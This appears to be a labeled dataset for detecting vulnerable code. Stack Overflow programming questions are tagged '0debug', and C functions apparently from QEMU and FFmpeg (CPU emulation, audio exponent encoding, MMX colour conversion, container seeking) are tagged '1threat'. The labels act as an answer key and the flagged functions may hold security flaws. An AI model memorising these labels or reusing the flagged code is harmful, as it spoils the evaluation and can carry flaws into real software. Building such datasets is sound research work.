problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
Postfix notation stack C++ : <p>I am new to C++ and I want to use a stack to evaluate an expression given as an input (2+3*5+4 for example), containing only numbers, + and *. I wrote this code but it gives me Segmentation fault: 11. Could you please help me solve this or give me a hint about what could be wrong? Thank you! (I noticed there were similar questions on this site, but I couldn't use them to solve my problem)</p>
<pre><code>#include <iostream>
#include <stack>
using namespace std;
bool highPrecedence(char a, char b){
if((a=='+')&&(b=='*'))
return true;
return false;
}
int main()
{
char c = 'a';
double x;
stack<char> stack;
double v[10];
int i=0;
double res;
while(true)
{
c = cin.get();
if(c=='\n'){
while(stack.size()!=0){
if (stack.top()=='*'){
double res = v[i]*v[i-1];
i--;
v[i]=res;
stack.pop();
}
if (stack.top()=='+'){
res = v[i]+v[i-1];
i--;
v[i]=res;
stack.pop();
}
}
break;
}
if ( '0'<=c && c<='9' )
{
cin.putback(c);
cin>>x;
cout<<"Operand "<<x<<endl;
i=i+1;
v[i]=x;
}
else
{
if(c!=' ') cout<< "Operator " <<c<<endl;
if (stack.size()==0)
stack.push(c);
else{
while((!highPrecedence(stack.top(),c)) && (stack.size()!=0)){
if (stack.top()=='*'){
double res = v[i]*v[i-1];
i--;
v[i]=res;
stack.pop();
}
if (stack.top()=='+'){
res = v[i]+v[i-1];
i--;
v[i]=res;
stack.pop();
}
}
stack.push(c);
}
}
}
cout<<v[0]<<endl;
}
</code></pre>
| 0debug |
static target_phys_addr_t get_offset(target_phys_addr_t phys_addr,
DumpState *s)
{
RAMBlock *block;
target_phys_addr_t offset = s->memory_offset;
int64_t size_in_block, start;
if (s->has_filter) {
if (phys_addr < s->begin || phys_addr >= s->begin + s->length) {
return -1;
}
}
QLIST_FOREACH(block, &ram_list.blocks, next) {
if (s->has_filter) {
if (block->offset >= s->begin + s->length ||
block->offset + block->length <= s->begin) {
continue;
}
if (s->begin <= block->offset) {
start = block->offset;
} else {
start = s->begin;
}
size_in_block = block->length - (start - block->offset);
if (s->begin + s->length < block->offset + block->length) {
size_in_block -= block->offset + block->length -
(s->begin + s->length);
}
} else {
start = block->offset;
size_in_block = block->length;
}
if (phys_addr >= start && phys_addr < start + size_in_block) {
return phys_addr - start + offset;
}
offset += size_in_block;
}
return -1;
}
| 1threat |
float64 helper_fqtod(CPUSPARCState *env)
{
float64 ret;
clear_float_exceptions(env);
ret = float128_to_float64(QT1, &env->fp_status);
check_ieee_exceptions(env);
return ret;
}
| 1threat |
How to get systemd to restart Rails App with Puma : <p>I've been struggling with this a week now and really can't seem to find an answer. I've deployed my Rails App with Capistrano. I use Puma as a server.</p>
<p>When I deploy, everything works ok. The problem is to get Puma to start at reboot and/or when it crashes.</p>
<p>To get the deployment setup, I've used this <a href="https://www.digitalocean.com/community/tutorials/deploying-a-rails-app-on-ubuntu-14-04-with-capistrano-nginx-and-puma" rel="noreferrer">tutorial</a>. I'm also using RVM. The problem I seem to get is to get the service to start Puma. Here's what I've used (service file):</p>
<pre><code>[Unit]
Description=Puma HTTP Server
After=network.target
[Service]
Type=simple
#User=my-user
WorkingDirectory=/home/my-user/apps/MyApp/current
ExecStart=/home/my-user/apps/MyApp/current/sbin/puma -C /home/my-user/apps/MyApp/shared/puma.rb
Restart=always
[Install]
WantedBy=multi-user.target
</code></pre>
<p>That doesn't work. I was starting to think the problem was Ruby not being installed for all users, so I've installed RVM for all users and still get the same problem. My server has only root and my-user. </p>
<p>Looking at how Capistrano deploys, the command it runs is: <code>cd /home/my-user/apps/MyApp/current && ( RACK_ENV=production /home/my-user/.rvm/bin/rvm default do bundle exec puma -C /home/my-user/apps/MyApp/shared/puma.rb --daemon )</code>. If I use the aforementioned command, I get an error from Systmd complaining about missing parameters. So I've written a script with it and got the service file to call this script to start the app. </p>
<p>That doesn't work either. Note that if I call the script from anywhere on the server the script does start the App, so its an issue on configuring Systemd, but I can't figure out what's wrong and I'm not sure how to debug it. I've seen the debug page on System's website, but it didn't help me. If I run <code>systemctl status puma.service</code> all it tells me is that the service is in failed state, but it doesn't tell me how or why.</p>
<p>Also worth noting: If I run <code>bundle exec puma -C /home/my-user/apps/MyApp/shared/puma.rb</code> from my App folder it works ok, so how I could duplicate this command with Systemd service?</p>
| 0debug |
Is there a well maintained docker image with gcloud installed in it? : <p>I'm setting up GitLab to build a Docker image and push it to Google Cloud Platform. Currently I'm doing this using the <code>docker:stable-git</code> image (no particular reason other than I've seen it in some tutorial/docs). One set of actions that I'm doing in every run is installing the Google Cloud SDK, gcloud.</p>
<p>Is there a well maintained Docker image I should use instead of <code>docker:stable-git</code> that already comes with a recent/latest version of gcloud I could use instead? It'd be great to save some GitLab execution time.</p>
| 0debug |
NullInjectorError: No provider for ReducerManager : <p>I am using the new ngrx 5. This is the file that holds the reducers and the featureSelector:</p>
<pre><code>import AppState from '../interfaces/app.state'
import { ActionReducerMap, createFeatureSelector } from '@ngrx/store'
import { partnerReducer } from './partner.reducer'
export const reducers: ActionReducerMap<AppState> = {
partnerState: partnerReducer
}
export const getAppState = createFeatureSelector<AppState>('appState')
</code></pre>
<p>This is how I am importing the storeModule</p>
<pre><code>@NgModule({
declarations: [...],
imports: [...
RouterModule.forRoot(ROUTES),
StoreModule.forFeature('appState', reducers)
],
providers: [...],
bootstrap: [AppComponent],
entryComponents: [...]
})
export class AppModule { }
</code></pre>
<p>I have followed <a href="https://toddmotto.com/ngrx-store-understanding-state-selectors" rel="noreferrer">this</a> tutorial</p>
<p>When I run the app, I get the following error:</p>
<pre><code>"StaticInjectorError(AppModule)[StoreFeatureModule -> ReducerManager]:
\n StaticInjectorError(Platform: core)[StoreFeatureModule -> ReducerManager]:
\n NullInjectorError: No provider for ReducerManager!"
</code></pre>
<p>But if I do provide ReducerManager in the providers, I get this error:</p>
<pre><code>No provider for ReducerManagerDispatcher!
</code></pre>
| 0debug |
void load_psw(CPUS390XState *env, uint64_t mask, uint64_t addr)
{
uint64_t old_mask = env->psw.mask;
env->psw.addr = addr;
env->psw.mask = mask;
if (tcg_enabled()) {
env->cc_op = (mask >> 44) & 3;
}
if ((old_mask ^ mask) & PSW_MASK_PER) {
s390_cpu_recompute_watchpoints(CPU(s390_env_get_cpu(env)));
}
if (mask & PSW_MASK_WAIT) {
S390CPU *cpu = s390_env_get_cpu(env);
if (s390_cpu_halt(cpu) == 0) {
#ifndef CONFIG_USER_ONLY
qemu_system_shutdown_request(SHUTDOWN_CAUSE_GUEST_SHUTDOWN);
#endif
}
}
}
| 1threat |
Shared Item Transition not working in fragment on back : <p>I'm working on an Android app with the <a href="https://www.toptal.com/android/android-fragment-navigation-pattern" rel="noreferrer">Fragment Navigation Pattern</a> (one Activity with many Fragments). I've managed to implement <em>Shared Item Transitions</em> by following <a href="https://medium.com/@bherbst/fragment-transitions-with-shared-elements-7c7d71d31cbb" rel="noreferrer">this guide</a> but they <strong>only work going forward, not on hitting back.</strong></p>
<p>My Fragment (called <code>UserFragment</code>) is composed of a <code>ViewPager</code> with 3 more fragments with RecyclerViews. Clicking any item in the RecyclerViews opens another <code>UserFragment</code> with the same views. The transition works perfectly when switching to the new fragment, but <strong>I'm unable to get it to work when closing it</strong>. When hitting back, the fragment simply fades out and the previous fragment fades in.</p>
<h2>TL;DR:</h2>
<ul>
<li>The Shared Element in question is the Circular Image View on top</li>
<li>Its <code>transitionName</code> is <em>profile</em></li>
<li><code>SharedItemTransition</code> is a custom class that extends <code>TransitionSet</code></li>
<li>I've given each item in each recyclerview unique transition names, by including their user id, list type and position index (and if they weren't unique, it also wouldn't work going forward)</li>
</ul>
<hr>
<p>Here's the <code>onBindViewHolder</code> method of my <strong>RecyclerView Adapter:</strong></p>
<pre><code>public void onBindViewHolder(final UserViewHolder uvh, int position) {
final LocUser user = users.get(position);
String transition = "user_" + user.id() + "_type_" + type + "_item_" + position + "_profile_image";
uvh.name.setText(user.name());
uvh.username.setText(user.handle());
Global.setImage(uvh.userImage, user.profileImage());
ViewCompat.setTransitionName(uvh.userImage, transitionName(position));
uvh.root.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
activity.openUserProfile(user, uvh.userImage);
}
});
}
</code></pre>
<hr>
<p>Here's my <strong>activity method</strong> that invokes the <code>FragmentManager</code> and starts the animation:</p>
<pre><code>public void openUserProfile(LocUser user, ImageView view) {
UserProfileFragment uf = UserProfileFragment.create(user);
uf.setExitTransition(new Fade());
uf.setEnterTransition(new Fade());
uf.setSharedElementEnterTransition(new SharedItemTransition());
uf.setSharedElementReturnTransition(new SharedItemTransition());
getSupportFragmentManager()
.beginTransaction()
.addSharedElement(view, "profile")
.replace(R.id.container, uf)
.addToBackStack(null)
.commit();
}
</code></pre>
<hr>
<p>This is what it looks like:</p>
<p><a href="https://i.stack.imgur.com/FJ9DC.png" rel="noreferrer"><img src="https://i.stack.imgur.com/FJ9DC.png" alt="Screenshot"></a></p>
| 0debug |
hi, i'm new to Python and im trying to learn Data analysis using python and im having trouble with this code : <p>This code is not showing the correct mean values. </p>
<pre><code>from pandas import*
import numpy
m={'ground forces':Series(['30','45','51','66','38'],index=['a','b','c','d','e']),'naval forces':Series(['76','100','91','178','81'],index=['a','b','c','d','e']),'air forces':Series(['212','28','92','77','55'],index=['a','b','c','d','e'])}
k=DataFrame(m)
print(k)
print(k.apply(numpy.mean))
</code></pre>
| 0debug |
what to use between [] and {} : I need to make multiple objects of same element. I cant figure it out that which should I use between [] and {} to make my data structure.
I am not clear about the difference between [] and {}. | 0debug |
static int gdb_set_float_reg(CPUPPCState *env, uint8_t *mem_buf, int n)
{
if (n < 32) {
env->fpr[n] = ldfq_p(mem_buf);
return 8;
}
if (n == 32) {
return 4;
}
return 0;
}
| 1threat |
static void cris_alu_op_exec(DisasContext *dc, int op,
TCGv dst, TCGv a, TCGv b, int size)
{
switch (op) {
case CC_OP_ADD:
tcg_gen_add_tl(dst, a, b);
t_gen_addx_carry(dc, dst);
break;
case CC_OP_ADDC:
tcg_gen_add_tl(dst, a, b);
t_gen_add_flag(dst, 0);
break;
case CC_OP_MCP:
tcg_gen_add_tl(dst, a, b);
t_gen_add_flag(dst, 8);
break;
case CC_OP_SUB:
tcg_gen_sub_tl(dst, a, b);
t_gen_subx_carry(dc, dst);
break;
case CC_OP_MOVE:
tcg_gen_mov_tl(dst, b);
break;
case CC_OP_OR:
tcg_gen_or_tl(dst, a, b);
break;
case CC_OP_AND:
tcg_gen_and_tl(dst, a, b);
break;
case CC_OP_XOR:
tcg_gen_xor_tl(dst, a, b);
break;
case CC_OP_LSL:
t_gen_lsl(dst, a, b);
break;
case CC_OP_LSR:
t_gen_lsr(dst, a, b);
break;
case CC_OP_ASR:
t_gen_asr(dst, a, b);
break;
case CC_OP_NEG:
tcg_gen_neg_tl(dst, b);
t_gen_subx_carry(dc, dst);
break;
case CC_OP_LZ:
gen_helper_lz(dst, b);
break;
case CC_OP_MULS:
tcg_gen_muls2_tl(dst, cpu_PR[PR_MOF], a, b);
break;
case CC_OP_MULU:
tcg_gen_mulu2_tl(dst, cpu_PR[PR_MOF], a, b);
break;
case CC_OP_DSTEP:
t_gen_cris_dstep(dst, a, b);
break;
case CC_OP_MSTEP:
t_gen_cris_mstep(dst, a, b, cpu_PR[PR_CCS]);
break;
case CC_OP_BOUND:
{
int l1;
l1 = gen_new_label();
tcg_gen_mov_tl(dst, a);
tcg_gen_brcond_tl(TCG_COND_LEU, a, b, l1);
tcg_gen_mov_tl(dst, b);
gen_set_label(l1);
}
break;
case CC_OP_CMP:
tcg_gen_sub_tl(dst, a, b);
t_gen_subx_carry(dc, dst);
break;
default:
qemu_log("illegal ALU op.\n");
BUG();
break;
}
if (size == 1) {
tcg_gen_andi_tl(dst, dst, 0xff);
} else if (size == 2) {
tcg_gen_andi_tl(dst, dst, 0xffff);
}
}
| 1threat |
static void encode_exponents_blk_ch(uint8_t *exp,
int nb_exps, int exp_strategy,
uint8_t *num_exp_groups)
{
int group_size, nb_groups, i, j, k, exp_min;
group_size = exp_strategy + (exp_strategy == EXP_D45);
*num_exp_groups = (nb_exps + (group_size * 3) - 4) / (3 * group_size);
nb_groups = *num_exp_groups * 3;
if (exp_strategy > EXP_D15) {
k = 1;
for (i = 1; i <= nb_groups; i++) {
exp_min = exp[k];
assert(exp_min >= 0 && exp_min <= 24);
for (j = 1; j < group_size; j++) {
if (exp[k+j] < exp_min)
exp_min = exp[k+j];
}
exp[i] = exp_min;
k += group_size;
}
}
if (exp[0] > 15)
exp[0] = 15;
for (i = 1; i <= nb_groups; i++)
exp[i] = FFMIN(exp[i], exp[i-1] + 2);
for (i = nb_groups-1; i >= 0; i--)
exp[i] = FFMIN(exp[i], exp[i+1] + 2);
if (exp_strategy > EXP_D15) {
k = nb_groups * group_size;
for (i = nb_groups; i > 0; i--) {
for (j = 0; j < group_size; j++)
exp[k-j] = exp[i];
k -= group_size;
}
}
}
| 1threat |
How to have startup guide of android app?(e.g. what button to click,.. and etc.) : <p>i don't know whats the name of it but i can give some sample
e.g. highlighted the button with guide</p>
<p><a href="https://i.stack.imgur.com/S612g.png" rel="nofollow noreferrer">https://i.stack.imgur.com/S612g.png</a></p>
| 0debug |
static inline void gen_op_jz_ecx(TCGMemOp size, int label1)
{
tcg_gen_mov_tl(cpu_tmp0, cpu_regs[R_ECX]);
gen_extu(size, cpu_tmp0);
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_tmp0, 0, label1);
}
| 1threat |
Webpack Karma Istanbul Remapping for TypeScript : <p>I'm developing a client-side app and I'm having trouble with creating the right Karma configs. Right now, I have my setup as follows:</p>
<p>Webpack: Using ts-loader, compiles TypeScript, assets etc.</p>
<p>Karma: Using the webpack plugin, loads the Webpack config (which uses ts-loader), then runs all unit tests with Jasmine + PhantomJS</p>
<p>The unit tests all run fine, but I haven't figured out a way to handle the webpack istanbul remapping. Karma-webpacks seems to not be generating source maps to allow the remapping to happen. Any pointers would be appreciated!</p>
<p>Karma Config:</p>
<pre><code>var webpackConfig = require("./webpack.config.js");
delete webpackConfig.entry;
module.exports = function (config) {
config.set({
// base path that will be used to resolve all patterns (eg. files, exclude)
basePath: '',
// frameworks to use
// available frameworks: https://npmjs.org/browse/keyword/karma-adapter
frameworks: ['jasmine'],
// list of files / patterns to load in the browser
files: [
// Non-automatically bundled libraries
'app/client/js/lib/easeljs.min.js',
'app/client/js/lib/tweenjs.min.js',
// Entry File
'app/client/js/index.ts',
'app/client/html/**/*.html',
// Test files and dependencies
'node_modules/angular-mocks/angular-mocks.js',
'test/client/**/*.spec.js'
],
// preprocess matching files before serving them to the browser
// available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor
preprocessors: {
'**/*.html': ['ng-html2js'],
'app/client/js/index.ts': ['webpack', 'sourcemap', 'coverage']
},
ngHtml2JsPreprocessor: {
cacheIdFromPath: function (filepath) {
// Remaps the path for Karma webpack
return '/_karma_webpack_//' + filepath.replace(/^.*[\\\/]/, '');
},
moduleName: 'templates'
},
webpack: webpackConfig,
webpackMiddleware: {
noInfo: true
},
// test results reporter to use
// possible values: 'dots', 'progress'
// available reporters: https://npmjs.org/browse/keyword/karma-reporter
reporters: ['progress', 'coverage'],
coverageReporter: {
dir: 'build/client/test/coverage/',
reporters: [
{
type: 'json',
subdir: '.'
}
]
},
// web server port
port: 9876,
// enable / disable colors in the output (reporters and logs)
colors: true,
// level of logging
// possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG
logLevel: config.LOG_INFO,
// enable / disable watching file and executing tests whenever any file changes
autoWatch: true,
// start these browsers
// available browser launchers: https://npmjs.org/browse/keyword/karma-launcher
browsers: ['PhantomJS'],
// Concurrency level
// how many browser should be started simultaneously
concurrency: Infinity
})
};
</code></pre>
| 0debug |
static inline void RENAME(rgb24toyv12)(const uint8_t *src, uint8_t *ydst, uint8_t *udst, uint8_t *vdst,
int width, int height,
int lumStride, int chromStride, int srcStride)
{
int y;
const x86_reg chromWidth= width>>1;
for (y=0; y<height-2; y+=2) {
int i;
for (i=0; i<2; i++) {
__asm__ volatile(
"mov %2, %%"REG_a" \n\t"
"movq "MANGLE(ff_bgr2YCoeff)", %%mm6 \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d" \n\t"
".p2align 4 \n\t"
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd 3(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 6(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm0 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"packssdw %%mm2, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 15(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 18(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm4 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm2, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"packuswb %%mm4, %%mm0 \n\t"
"paddusb "MANGLE(ff_bgr2YOffset)", %%mm0 \n\t"
MOVNTQ" %%mm0, (%1, %%"REG_a") \n\t"
"add $8, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+width*3), "r" (ydst+width), "g" ((x86_reg)-width)
: "%"REG_a, "%"REG_d
);
ydst += lumStride;
src += srcStride;
}
src -= srcStride*2;
__asm__ volatile(
"mov %4, %%"REG_a" \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"movq "MANGLE(ff_bgr2UCoeff)", %%mm6 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d" \n\t"
"add %%"REG_d", %%"REG_d" \n\t"
".p2align 4 \n\t"
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
PREFETCH" 64(%1, %%"REG_d") \n\t"
#if COMPILE_TEMPLATE_MMXEXT || COMPILE_TEMPLATE_AMD3DNOW
"movq (%0, %%"REG_d"), %%mm0 \n\t"
"movq (%1, %%"REG_d"), %%mm1 \n\t"
"movq 6(%0, %%"REG_d"), %%mm2 \n\t"
"movq 6(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm0, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
"psrlq $24, %%mm0 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd (%1, %%"REG_d"), %%mm1 \n\t"
"movd 3(%0, %%"REG_d"), %%mm2 \n\t"
"movd 3(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm0 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm0 \n\t"
"movd 6(%0, %%"REG_d"), %%mm4 \n\t"
"movd 6(%1, %%"REG_d"), %%mm1 \n\t"
"movd 9(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm4, %%mm2 \n\t"
"psrlw $2, %%mm0 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(ff_bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(ff_bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm0, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm0 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"packssdw %%mm1, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
#if COMPILE_TEMPLATE_MMXEXT || COMPILE_TEMPLATE_AMD3DNOW
"movq 12(%0, %%"REG_d"), %%mm4 \n\t"
"movq 12(%1, %%"REG_d"), %%mm1 \n\t"
"movq 18(%0, %%"REG_d"), %%mm2 \n\t"
"movq 18(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm4, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
"psrlq $24, %%mm4 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 12(%1, %%"REG_d"), %%mm1 \n\t"
"movd 15(%0, %%"REG_d"), %%mm2 \n\t"
"movd 15(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm4 \n\t"
"movd 18(%0, %%"REG_d"), %%mm5 \n\t"
"movd 18(%1, %%"REG_d"), %%mm1 \n\t"
"movd 21(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm5 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm5 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm5, %%mm2 \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"psrlw $2, %%mm4 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(ff_bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(ff_bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm4, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm4 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm1, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"movq %%mm0, %%mm1 \n\t"
"punpckldq %%mm4, %%mm0 \n\t"
"punpckhdq %%mm4, %%mm1 \n\t"
"packsswb %%mm1, %%mm0 \n\t"
"paddb "MANGLE(ff_bgr2UVOffset)", %%mm0 \n\t"
"movd %%mm0, (%2, %%"REG_a") \n\t"
"punpckhdq %%mm0, %%mm0 \n\t"
"movd %%mm0, (%3, %%"REG_a") \n\t"
"add $4, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+chromWidth*6), "r" (src+srcStride+chromWidth*6), "r" (udst+chromWidth), "r" (vdst+chromWidth), "g" (-chromWidth)
: "%"REG_a, "%"REG_d
);
udst += chromStride;
vdst += chromStride;
src += srcStride*2;
}
__asm__ volatile(EMMS" \n\t"
SFENCE" \n\t"
:::"memory");
rgb24toyv12_c(src, ydst, udst, vdst, width, height-y, lumStride, chromStride, srcStride);
}
| 1threat |
static int read_seek(AVFormatContext *s, int stream_index,
int64_t ts, int flags)
{
WtvContext *wtv = s->priv_data;
AVIOContext *pb = wtv->pb;
AVStream *st = s->streams[0];
int64_t ts_relative;
int i;
if ((flags & AVSEEK_FLAG_FRAME) || (flags & AVSEEK_FLAG_BYTE))
return AVERROR(ENOSYS);
ts_relative = ts;
if (wtv->epoch != AV_NOPTS_VALUE)
ts_relative -= wtv->epoch;
i = ff_index_search_timestamp(wtv->index_entries, wtv->nb_index_entries, ts_relative, flags);
if (i < 0) {
if (wtv->last_valid_pts == AV_NOPTS_VALUE || ts < wtv->last_valid_pts)
avio_seek(pb, 0, SEEK_SET);
else if (st->duration != AV_NOPTS_VALUE && ts_relative > st->duration && wtv->nb_index_entries)
avio_seek(pb, wtv->index_entries[wtv->nb_index_entries - 1].pos, SEEK_SET);
if (parse_chunks(s, SEEK_TO_PTS, ts, 0) < 0)
return AVERROR(ERANGE);
return 0;
}
wtv->pts = wtv->index_entries[i].timestamp;
if (wtv->epoch != AV_NOPTS_VALUE)
wtv->pts += wtv->epoch;
wtv->last_valid_pts = wtv->pts;
avio_seek(pb, wtv->index_entries[i].pos, SEEK_SET);
return 0;
}
| 1threat |
How to convert JPanel into JFrame; for a Bouncing Ball : I have obtained from somewhere else a Java Swing code for a bouncing Ball. The code uses a class "Ball" which extends a JPanel.
**Can Anyone help me converting this code to extends JFrame instead.**
I want to do that so I could be able to call it from another JFrame class.
Here is the code:
public class Ball extends JPanel{
int x=0, y=0;
int angleX = 1, angleY = 1;
public void move(){
if (x + angleX <0) {
angleX =1;
} else if (x + angleX >getWidth()-50){
angleX =-1;
} else if (y + angleY <0) {
angleY =1;
} else if (y + angleY >getHeight()-50){
angleY =-1;
}
x = x + angleX;
y = y + angleY;
}
@Override
public void paint(Graphics g) {
super.paint(g);
g.fillOval(x, y, 50, 50);
}
public static void main(String[] args){
JFrame jfrm= new JFrame("BounceBall");
jfrm.setSize(400,400);
jfrm.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jfrm.setVisible(true);
Ball bl = new Ball();
Component add = jfrm.add(bl);
while (true){
bl.move();
bl.repaint();
try{
Thread.sleep(10);
}catch(InterruptedException e){
}
}
}
} | 0debug |
Please help on my code to find out the four unique random numbers in android within the range of 1 to 60 : **This is what I tried so far in my app**
I got this code by Searching it from Google
**Inside the Button OnClick() I called the Arandom() method**
public void Arandom(View view) {
final int SET_SIZE_REQUIRED = 4;
final int NUMBER_RANGE = 70;
Random random = new Random();
Set set = new HashSet<Integer>(SET_SIZE_REQUIRED);
while(set.size()< SET_SIZE_REQUIRED) {
while (set.add(random.nextInt(NUMBER_RANGE)) != true) ;
}
assert set.size() == SET_SIZE_REQUIRED;
ArrayList<Integer> Elements = new ArrayList<>(set);
Log.i("Elements","A:" + Elements.get(0));
Log.i("Elements","B:" + Elements.get(1));
Log.i("Elements","C:" + Elements.get(2));
Log.i("Elements","D:" + Elements.get(3));
}
***Now i am able to getting four Unique random numbers by this code but the problem is
there sum is increasing
Let me explain it little bit***
**When I run the code I get**
A:61
B:45
C:31
D:49
**[This is the screen shot of my log cat Click It ][1]**
[1]: https://i.stack.imgur.com/3m7Kf.png
So I want The sum of all the numbers is within the specified range which is 1 to 60
e.g: A = 20 , B = 25 , C = 3 and D = 11 then their sum is 59 which is within the range
Now another e.g: Suppose A = 5 , B = 22 , C = 18 and D = 3 then their sum will be 48
I Hope you Understand what I want
when we Add A,B,C,D the their Sum Should no Exceed the Range that is 60
